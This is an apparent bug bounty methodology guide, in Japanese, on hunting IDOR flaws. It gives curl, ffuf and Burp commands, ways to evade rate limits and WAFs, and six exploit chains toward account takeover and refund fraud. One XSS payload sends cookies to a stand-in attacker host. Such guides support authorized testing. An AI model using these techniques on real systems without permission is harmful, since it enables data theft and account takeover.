hunt-idor

重要な標的

IDOR が高額な報奨金につながる理由：

• 認証を回避せずに他のユーザーのデータへ直接アクセスでき、影響が明確で実証しやすい
• 権限昇格、金融詐欺、アカウント乗っ取りと簡単に連鎖する
• ユーザー所有のリソースを持つほぼすべてのアプリケーションに影響する

報奨金の可能性が最も高い資産の種類：

資産の種類	高額な報奨金につながる理由
金融書類／請求 API	PII と金融データの漏えい（Shopify、Uber、PayPal）
プライベートリポジトリ／ソースコード	知的財産の窃取、重要なデータの損失（GitHub）
ユーザーメッセージ／DM	大規模なプライバシー侵害（Reddit）
アカウント管理エンドポイント	ユーザーの追加、削除、権限昇格（PayPal、Mozilla）
ビジネス／組織の管理機能	テナント間の権限昇格、従業員の PII（Uber）
コンテンツのモデレーション／管理操作	運用妨害（Reddit のモデレーターログ）

IDOR で最も高額な報奨金を支払うプログラム：

• マルチテナントのプラットフォーム（SaaS、B2B ツール）
• フィンテックおよび決済処理業者
• 非公開コンテンツを扱うソーシャルプラットフォーム
• 組織／リポジトリを分離している開発者向けツール

---

攻撃対象領域の兆候

IDOR の可能性が極めて高い URL パターン：

/api/v1/users/{id}/
/api/v*/orders/{order_id}
/invoices/download?id=
/reports/{uuid}/
/messages/{thread_id}
/admin/orgs/{org_id}/members
/migration/{migration_id}/files
/graphql (query params with IDs)
/api/business/{business_id}/
/vouchers/{voucher_id}/policy

レスポンスヘッダーの兆候：

• 生の ID を受け付けるエンドポイントでの Content-Type: application/json
• ID パラメーターと組み合わさった X-Frame-Options の欠如、または CORS の設定ミス
• ユーザー単位の Authorization: Bearer トークンで、組織レベルのリソースにアクセスできる

JavaScript ソースのパターン：

// Look for hardcoded or interpolated IDs in JS
fetch(`/api/v1/users/${userId}/profile`)
axios.get('/invoices/' + invoiceId)
graphql query { billingDocument(id: $docId) }
// Redux/state stores exposing foreign IDs
state.currentUser.organizationId

技術スタックの兆候：

• GraphQL エンドポイント（クエリベースの IDOR は見落とされがちです）
• 連番の整数 ID を使う REST API（最も脆弱です）
• 他のレスポンスから予測できる、または漏えいしている UUID
• org_id、account_id、business_id パラメーターを持つマルチテナントの SaaS アプリ
• モバイルアプリ（APK を Burp で調査しましょう。モバイル API では認可チェックが省略されていることがよくあります）

---

手順ごとの調査方法

1. アプリケーション内のすべてのオブジェクト参照をマッピングする

   • User A として認証し、すべての機能を閲覧する
   • すべてのリクエストを Burp Suite で取得する
   • id=、_id=、uuid=、/v1/{noun}/{id}、数値または UUID を含むクエリパラメーターを使っているリクエストを絞り込む

2. ID の種類を列挙する

   • 連番の整数 → ±1、±100 を列挙する
   • UUID → 他のレスポンスや JS ファイルに現れるか確認する
   • ハッシュ化された ID → 公開エンドポイント、メタデータ、GraphQL のイントロスペクションで漏えいしていないか確認する

3. 同じ権限レベルのアカウントを2つ作成する

   • User A：リソースの所有者
   • User B：攻撃者のアカウント
   • User A として認証した状態で、User A に属するすべての ID を記録する

4. User B として User A のリソース ID を使い、リクエストを再送する

   • セッション Cookie／トークンを User B の認証情報に置き換える
   • User A のオブジェクト ID を参照する同一のリクエストを送信する
   • 各エンドポイントで、すべての HTTP メソッド（GET、POST、PUT、PATCH、DELETE）をテストする

5. テナント間／組織間のシナリオをテストする

   • 別々の組織／ビジネスに属するアカウントを作成する
   • Org B のセッションから Org A の ID を参照できるかテストする
   • 管理／運用エンドポイントに特に注意する

6. GraphQL を重点的にテストする

   • イントロスペクションを実行する：{ __schema { queryType { fields { name } } } }
   • id 引数を受け取る各クエリ／ミューテーションで、別のユーザーの ID に置き換える
   • クエリ（読み取り）とミューテーション（書き込み／削除）の両方をテストする

7. 読み取りだけでなく、書き込み／破壊的な操作をテストする

   • User B は User A のリソースを DELETE できるか
   • User B は User A のコンテンツを MODIFY できるか
   • User B は自分自身を User A のアカウントに ADD できるか

8. IDOR を連鎖させる

   • ある IDOR で漏えいしたデータ（組織 ID、ユーザー ID）を次の IDOR に利用する
   • IDOR → ID の漏えい → 2つ目の IDOR → 権限昇格

9. 状態変更に関するエッジケースをテストする

   • 有効期限切れのトークン／招待を引き続き受け入れられるか
   • リソース ID を使った競合状態
   • 間接参照：?sort=id または ?filter[user_id]=

10. 差分を正確に記録する

    • User B が User A のリソースに正当なアクセス権を一切持たないことを確認する
    • 200 OK と、期待される 403／404 の違いをスクリーンショット／ログに記録する

---

ペイロードと検出パターン

curl を使った基本的な IDOR テスト（Cookie／トークンを差し替えます）：

# Get User A's resource ID while authenticated as A
curl -s -H "Cookie: session=USER_A_SESSION" \
  https://target.com/api/v1/invoices/12345

# Replay with User B's session
curl -s -H "Cookie: session=USER_B_SESSION" \
  https://target.com/api/v1/invoices/12345

# Success = 200 OK with User A's data

GraphQL IDOR テスト：

curl -s -X POST https://target.com/graphql \
  -H "Authorization: Bearer USER_B_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ billingDocument(id: \"USER_A_DOC_ID\") { id amount pdfUrl } }"}'

ffuf で連番 ID を列挙します：

ffuf -u "https://target.com/api/v1/orders/FUZZ" \
  -w ids.txt \
  -H "Authorization: Bearer USER_B_TOKEN" \
  -mc 200 \
  -o idor_results.json

連番 ID のワードリストを生成します：

# Generate IDs around a known value
known_id = 48291
with open("ids.txt", "w") as f:
    for i in range(known_id - 500, known_id + 500):
        f.write(str(i) + "\n")

IDOR スキャン用の Burp Intruder ペイロード：

GET /api/messages/§12345§ HTTP/1.1
Host: target.com
Authorization: Bearer USER_B_TOKEN

# Mark §12345§ as injection point
# Use numeric sequential payload: 12000-13000
# Filter responses by length difference or status 200

漏えいした ID を JavaScript からスクレイピングします：

# Find IDs in JS bundles
curl -s https://target.com/static/app.js | grep -Eo '"id":"[a-f0-9-]{36}"' | sort -u

# Find object references in API responses
curl -s -H "Cookie: session=USER_A" \
  https://target.com/api/v1/dashboard | python3 -m json.tool | grep -i "_id"

ソースコードレビュー用の grep パターン：

# Missing authorization checks in common frameworks
grep -r "findById\|findOne\|getById" --include="*.js" .
grep -r "params\[:id\]\|params\['id'\]" --include="*.rb" .
grep -r "request\.args\.get\('id'\)" --include="*.py" .

# Look for direct ORM queries without user scoping
grep -r "Model\.find(params" --include="*.js" .
# vs secure pattern: Model.find({ id: params.id, userId: req.user.id })

HTTP メソッドの改ざんによる IDOR：

# Try undocumented methods
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
  echo "=== $method ==="
  curl -s -X $method \
    -H "Authorization: Bearer USER_B_TOKEN" \
    https://target.com/api/v1/users/USER_A_ID/profile
done

---

よくある根本原因

1. ORM クエリで所有権がチェックされていない

   // VULNERABLE: fetches any record
   const invoice = await Invoice.findById(req.params.id);
   
   // SECURE: scopes to authenticated user
   const invoice = await Invoice.findOne({ _id: req.params.id, userId: req.user.id });
   

2. オブジェクト単位ではなく、ルート単位で認可している

   • 開発者は「ユーザーがログインしているか」を確認しますが、「このユーザーがこのオブジェクトを所有しているか」は確認していません
   • ミドルウェアで認証を確認していても、個々のハンドラーで所有権の検証が省略されています

3. リクエスト本文でクライアントから送られた ID を信頼している

   • モバイルアプリや SPA が POST 本文に org_id を送信し、サーバーは呼び出し元がその組織に所属しているかを検証せず、その値を直接使用しています

4. フィールド単位の認可がない GraphQL リゾルバー

   • クエリリゾルバーが、リクエストしたユーザーに権限があるかを確認せず、データベースから ID を指定してデータを取得しています
   • スキーマからリゾルバーが自動生成されている場合に、特によく見られます

5. HTTP メソッド間で認可に一貫性がない

   • GET エンドポイントは保護されていますが、同じリソースパスの POST／DELETE は保護されていません
   • 異なる開発者が段階的に構築した API でよく見られます

6. 関連オブジェクトを介して間接参照が公開されている

   • オブジェクト A（アクセス可能）に、オブジェクト B（非公開であるべき）の参照が含まれています
   • 開発者は B への直接アクセスのみを保護し、A を介した間接参照を保護していません

7. 競合状態と状態ベースの IDOR

   • 認可はアクセス時ではなく、作成時に確認されています
   • 権限付与が取り消された後も、招待やトークンが有効なままです

8. マルチテナントの分離不備

   • 開発者がユーザーごとのアクセス制御を実装しても、組織間の境界を忘れています
   • user_id のチェックはありますが、org_id／tenant_id のチェックがありません

---

回避手法

防御策：連番の整数ではなく UUID を使用する

• 回避方法：UUID は、他の API 応答、通知メール、Webhook、GraphQL クエリ、または JS ソースで漏えいしていることがよくあります
• 手法：アクセス可能なエンドポイントから UUID を収集し、制限されたエンドポイントに対して再送信します

防御策：間接参照／ハッシュ化されたオブジェクト参照を使用する

• 回避方法：ハッシュをデコードする（多くの場合、base64 または単純な難読化です）か、別の応答から元の ID を見つけます
• 手法：echo "dXNlcl8xMjM0NQ==" | base64 -d → user_12345

防御策：リソースごとに有効期間の短いトークンを使用する

• 回避方法：サーバーがトークンの形式のみを検証し、ユーザーとの紐付けを検証しない場合、トークンを別のユーザーにも再利用できることがあります
• 手法：自分のトークンを使って、別のユーザーのリソース ID にアクセスします

防御策：列挙に対するレート制限

• 回避方法：低速で列挙する（1 リクエスト／5 秒）、分散した IP を使用する、または列挙を必要としない IDOR を悪用します（別の漏えい元から対象の ID をすでに知っている場合）

防御策：WHERE 句で user_id を確認する

• 回避方法：同じエンドポイントが別の API バージョン（/v1/ と /v2/）に存在するか確認します。認可ロジックはバージョンごとに異なることがよくあります
• 手法：古い API バージョンを呼び出す記述が JS バンドルにないか確認します

防御策：CORS の制限

• 回避方法：IDOR にはクロスオリジンの悪用は不要です。自分のセッションを使って API エンドポイントを直接テストします

防御策：サーバーサイドセッションによる「不透明な」参照

• 回避方法：内部 ID を返すエンドポイントを探し、その ID を別の場所で使います。API が Location ヘッダー、エラーメッセージ、またはメタデータで ID を公開していることはよくあります

防御策：一般的なパターンに対するパラメーターのフィルタリング／WAF

• 回避方法：ネストされた JSON {"data": {"id": "VICTIM_ID"}}、HTTP パラメーター汚染 ?id=own_id&id=victim_id、またはパラメーター名のバリエーション user_id、userId、uid、account を試します

---

Gate 0 の検証

レポートを書く前に、次の3つすべてに回答してください。

1. 攻撃者は今、何ができますか？ 具体的に記述してください。「有効なアカウントを持つ攻撃者が /api/v1/invoices/{victim_invoice_id} に GET リクエストを送信すると、そのアカウントとの関係が一切ないにもかかわらず、名前、住所、支払額を含む被害者の請求書類一式を受け取ることができます。」

2. 被害者は何を失いますか？ CIA トライアドに当てはめてください。機密性（データが漏えいする）、完全性（データが改ざんされる）、可用性（データが削除される）のいずれかです。「被害者は個人的な財務記録の機密性を失います」または「被害者のコンテンツが第三者によって削除されます」のように記述してください。曖昧な回答は受け付けられません。

3. 最初から始めて10分以内に再現できますか？

   • 新規アカウントを2つ作成 ✓
   • 被害者の ID を使った正確な HTTP リクエストを記録 ✓
   • 被害者のデータを示す 200 OK レスポンス（または状態変更の確認）✓
   • 既存の状態やタイミングに依存しない ✓

   再現可能なデモを実施できない場合は、レポートを提出しないでください。

---

実際の影響の例

シナリオ1：財務データの漏えい＋アカウントをまたいだ請求詐欺（Uber 型） 攻撃者が、関連する2つの IDOR を発見します。1つ目は、任意の組織のバウチャーポリシー設定を読み取るもので、組織 ID、従業員のメールアドレス一覧、支払方法が漏えいします。2つ目は、漏えいした ID を使ってバウチャーポリシーを変更できるものです。これらを組み合わせると、基本的なユーザーアカウント以上の権限がなくても、攻撃者は請求先を任意の企業アカウントに変更し、組織をまたいで従業員の PII を漏えいさせ、招待リンクを乗っ取ることができます。影響：B2B プラットフォーム全体での金銭詐欺＋大規模な PII 漏えい。

シナリオ2：移行エンドポイントの IDOR によるプライベートリポジトリの読み取り（GitHub 型） 移行機能では、ユーザーが移行ジョブにファイルをアップロードできます。migration_id パラメーターは、認証済みユーザーがその移行ジョブを所有しているか検証されません。攻撃者は自分の移行ジョブを作成して ID の形式を確認し、別のユーザーのプライベートな移行 ID に差し替えます。これにより、アクセス権のないプライベートリポジトリのソースコードファイルを読み取れるようになります。影響：プライベートな知的財産の機密性が完全に侵害されます。

シナリオ3：メッセージ IDOR を利用したアカウント乗っ取りの連鎖（Reddit 型） 攻撃者は、メッセージング API エンドポイントの thread_id を差し替え、別のユーザーのプライベートなメッセージスレッドにアクセスします。レスポンスには、メッセージ本文やメタデータに加え、重要なことに、内部メッセージで送信されたセッションまたは認証トークンが含まれています。攻撃者はメッセージ内で見つけたトークンを利用してアカウント復旧手続きを行い、読み取りのみの IDOR を完全なアカウント乗っ取りに発展させます。影響：標的ユーザーのアカウントが大規模に完全侵害されます。

---

チェーンと組み合わせ（上級者向けの探索）

単独の IDOR によるテナントをまたいだ 読み取り は、低〜中程度の報奨金にとどまります。本当に価値があるのは、通常はテナントをまたいだ操作を許可しない 状態変更 のプリミティブに IDOR をつなげ、「被害者のデータを見られる」状態から「被害者のアカウントを自分のものにする」状態へと変えることです。以下の6つのチェーンは、現代のバグ報奨金プログラムで最も高額な報奨金につながる IDOR の組み合わせです。

チェーン1 — /api/users/{id}/email の IDOR ＋再認証の欠如 → パスワードリセット → ATO

• A. メールアドレス変更エンドポイントで IDOR を確認します。攻撃者のセッションから PUT /api/users/{victim_id}/email {"email":"attacker@evil"} をリクエストします。サーバーは所有権を確認せず、被害者のメールアドレスを変更します。
• B. 被害者のアカウントでパスワードリセットフローを実行します。サーバーはリセットリンクを新しいメールアドレス（攻撃者のメールアドレス）に送信します。
• C. リセットリンクを開き、新しいパスワードを設定して、被害者としてログインします。
• 影響： 気付かれない ATO です。メールアドレスの変更はユーザー向けの「メールアドレスを変更」UI ではなく API 経由で行われるため、変更にはその UI 独自の監査ログが記録されず、被害者にも通知されません。
• 実際のパターン： 2018〜2024年に多くの SaaS のバグ報奨金開示で見られた、典型的な ATO パターンです。hunt-ato のパス2（再認証なしのメールアドレス変更）を参照してください。

チェーン 2 — ファイルダウンロードの IDOR ＋ ファイル名で制御される Content-Disposition → ダウンロード経由の反射型 XSS → セッション窃取

• A. /api/files/{id}/download の IDOR により、ID を指定すると任意のユーザーのファイルが返されます。
• B. ダウンロードエンドポイントは、改行や引用符をサニタイズせずに Content-Disposition: attachment; filename="<user-supplied-filename>" を設定します。攻撃者はファイル名を "; <script>fetch('https://attacker/x?c='+document.cookie)</script>; foo.txt にしてファイルをアップロードします。
• C. 被害者がダウンロードページに移動すると、ブラウザーはレスポンスヘッダーのコンテキストに挿入されたスクリプトを HTML として解釈し、同一オリジンで JS が実行され、Cookie／トークンが外部に流出します。
• 影響： IDOR とファイル名で制御されるレスポンスヘッダーによるアカウント乗っ取り。どちらの脆弱性も単独では重大ではありませんが、組み合わせると重大になります。
• 実際の事例： Office 365 SharePoint のダウンロードエンドポイント、GitLab の添付ファイルダウンロード、SaaS のエクスポートエンドポイントに関する複数の公開事例があります。hunt-xss チェーン 1（レスポンスヘッダー型 XSS）と組み合わせられます。

チェーン 3 — GraphQL node(id:) の GID と Relay のリレーション探索を介した IDOR → テナントをまたぐ大規模なデータ抽出

• A. 対象は、Relay 形式のグローバル ID（gid://shopify/Customer/<n> や base64 でエンコードされた type:id のパターン）を使う GraphQL を採用しています。
• B. node(id:"<victim_gid>") { ... on Customer { email orders { totalPrice paymentMethods { cardLast4 } } } } — トップレベルの node() リゾルバーはリクエスト元を認証しますが、ネストされたリレーションは、解決された Customer に対する所有権を再確認しません。
• C. ID を反復処理し（base64 をデコードして数値を取り出し、インクリメントする）、顧客全体のメールアドレス、注文合計、支払い方法を外部に流出させます。
• 影響： テナントをまたぐ大量の個人情報／金融データの抽出。単一の脆弱性でデータベース全体にアクセスできます。
• 実際の事例： Shopify Billing IDOR H1 #2207248（$5,000）；HackerOne PolicyPageAssetGroup IDOR H1 #1618347（$25,000）。hunt-graphql の公開レポート引用 #5 と #2 を参照してください。

チェーン 4 — /api/teams/{id}/members の IDOR ＋ リクエストボディの一括割り当て → 被害者チームでのロール昇格

• A. 一般的な水平 IDOR です。POST /api/teams/{victim_team_id}/members {"email":"attacker@evil"} により、所有権を確認せず、攻撃者が通常のメンバーとして追加されます。
• B. リクエストボディは、API がフィルタリングしていない追加フィールドを受け入れます。{"email":"attacker@evil", "role":"OWNER", "permissions":["*"]} のようにすると、ロールフィールドに一括割り当てが反映されます。
• C. 攻撃者は被害者チームの OWNER として追加されます。被害者チームのリソースへの完全な管理者アクセス権を得て、実際の所有者を削除できます。
• 影響： IDOR と一括割り当てによるテナントをまたぐ権限昇格。SaaS のチーム管理 API で最も効率的な乗っ取りチェーンです。
• 実際の事例： Shopify の非公開 fileCopy ミューテーション H1 #981472（2020 年、$2,000）；Stripe の UpdateAtlasApplicationPerson テナント間ミューテーション H1 #1066203（2020 年）。hunt-graphql の公開レポート引用 #7 と #8 を参照してください。一括割り当てのセクションでは hunt-api-misconfig と組み合わせられます。

チェーン 5 — 論理削除の IDOR ＋ 削除後もトークンが有効 → テナントをまたぐ継続的なアクセス

• A. active=false フラグを切り替えるだけで、セッション／PAT を無効化しない「メンバー削除」エンドポイントを特定します。
• B. 削除予定のユーザーとしてログインし、セッション Cookie または PAT を取得します。
• C. 組織の管理者に通常の手順でユーザーを削除してもらいます。その後、しばらく待ちます。取得したトークンを使って API 呼び出しを再実行すると、IDOR が「時間依存」になります（ポリシーテーブル上ではユーザーに権限がなくなっていますが、キャッシュされた認証コンテキストは引き続き有効です）。
• 影響： 退職後も数週間にわたってテナントをまたぐアクセスが可能となり、GDPR／CCPA 違反のリスクが生じます。恐喝の材料として利用される可能性もあります。
• 実際の事例： Shopify の削除済みスタッフによるアクセス継続の事例（2022 年）。同じ根本原因のパターンで、起点となる脆弱性が異なる hunt-misc チェーン 1 を参照してください。

チェーン 6 — 二重 IDOR（/users/{id}/orders → /orders/{order_id}/refund）→ 被害を受けた加盟店への金銭的損害

• A. 1つ目の IDOR：GET /api/users/{victim_id}/orders は、所有権を確認せずに被害者の注文一覧を返します。これにより、有効な order_id の値を取得できます。
• B. 2つ目の IDOR：POST /api/orders/{order_id}/refund は、リクエスト元が加盟店または注文の所有者であるかを確認せずに返金を実行します。
• C. 被害を受けた加盟店の最近の注文ごとに返金を実行します。資金は加盟店から顧客（攻撃者が制御する顧客でもあります）へ移動します。
• 影響： 被害を受けた加盟店への直接的な金銭的損失です。プラットフォーム上の多数の加盟店に対して一斉に悪用できます。
• 実際の事例のパターン： 2019～2023 年に開示された、複数の EC プラットフォームにおける IDOR チェーンです。hunt-business-logic のチェーン（金銭的影響を伴うステートマシンの混乱）も参照してください。

オペレーター向けのパターン

A で読み取り IDOR を確認したら、すぐに次の点を確認してください。同じ ID を受け付ける状態変更は何か、そしてそれも IDOR の可能性があるか？ チェーンは通常、次のいずれかです。（1）終端ステップでのパスワードリセット／メールアドレス変更 → ATO、（2）返金／出金／送金 → 金銭的損害、（3）ロール変更／メンバー追加 → 権限昇格。読み取り IDOR がそのいずれにもつながらない場合は、単体で得られる報奨金が上限です。両方の段階を探してください。2つ目は、1つ目と同じ認証バグのクラスを共有するため、多くの場合、見つけやすいものです。

相互参照：

• hunt-ato — チェーン 1、5
• hunt-xss — チェーン 2
• hunt-graphql — チェーン 3、4
• hunt-misc — チェーン 5
• hunt-business-logic — チェーン 6

---

関連するスキルとチェーン

• hunt-auth-bypass — オブジェクトレベルの認可不備と、ルートレベルで認証がないことの組み合わせは、IDOR を増幅する典型的なパターンです。チェーンのプリミティブ：ORM クエリで req.user.id によるスコープ指定がなく、レガシーな /v1/ ルートにミドルウェアもない場合、ID を直接置き換えるだけで、認証されていない状態からテナントをまたいだデータを読み取れます → セッションなしで個人情報を一括取得できます。
• hunt-ato — プロフィール編集における IDOR は、「他人のデータを読む」状態から「その人のアカウントを乗っ取る」状態へ至る、最も直接的な経路です。チェーンのプリミティブ：PATCH /api/users/{victim_uid} が攻撃者のセッションと被害者の UID を受け付ける → [email protected] を設定する → パスワードリセットを実行する → リセットリンクが攻撃者に届く → 被害者の認証情報を一度も知らずに完全な ATO が成立します。
• hunt-graphql — フィールドレベルの認可がない GraphQL リゾルバーは、デフォルトで IDOR になる可能性があります。イントロスペクションによりスキーマを取得できます。チェーンのプリミティブ：__schema のイントロスペクション → id: 引数を受け付けるすべてのミューテーションを列挙する → updateUser、deleteOrg、transferBilling の各ミューテーションで被害者の ID に置き換える → 1回のイントロスペクションクエリから IDOR を大量に展開できます。
• security-arsenal — 最初の直接置換で 403 が返る場合は、IDOR バイパス表のセクションを参照して、HTTP パラメーターポリューションのペイロード（?id=own&id=victim）、ネストした JSON のラッパー（{"data":{"id":"VICTIM"}}）、パラメーター名のバリエーション（uid／userId／user_id／account）を使用してください。
• triage-validation — 200 が返っても実際にはデータが漏えいしていない（空の配列、秘匿されたフィールド、200 ステータスの本文に「アクセス拒否」と記載されている）IDOR を Critical と報告する前に、重大度判定前ゲートを実行してください。200 が返ってもデータがない IDOR は、H1／Bugcrowd で最も多い N/A の原因です。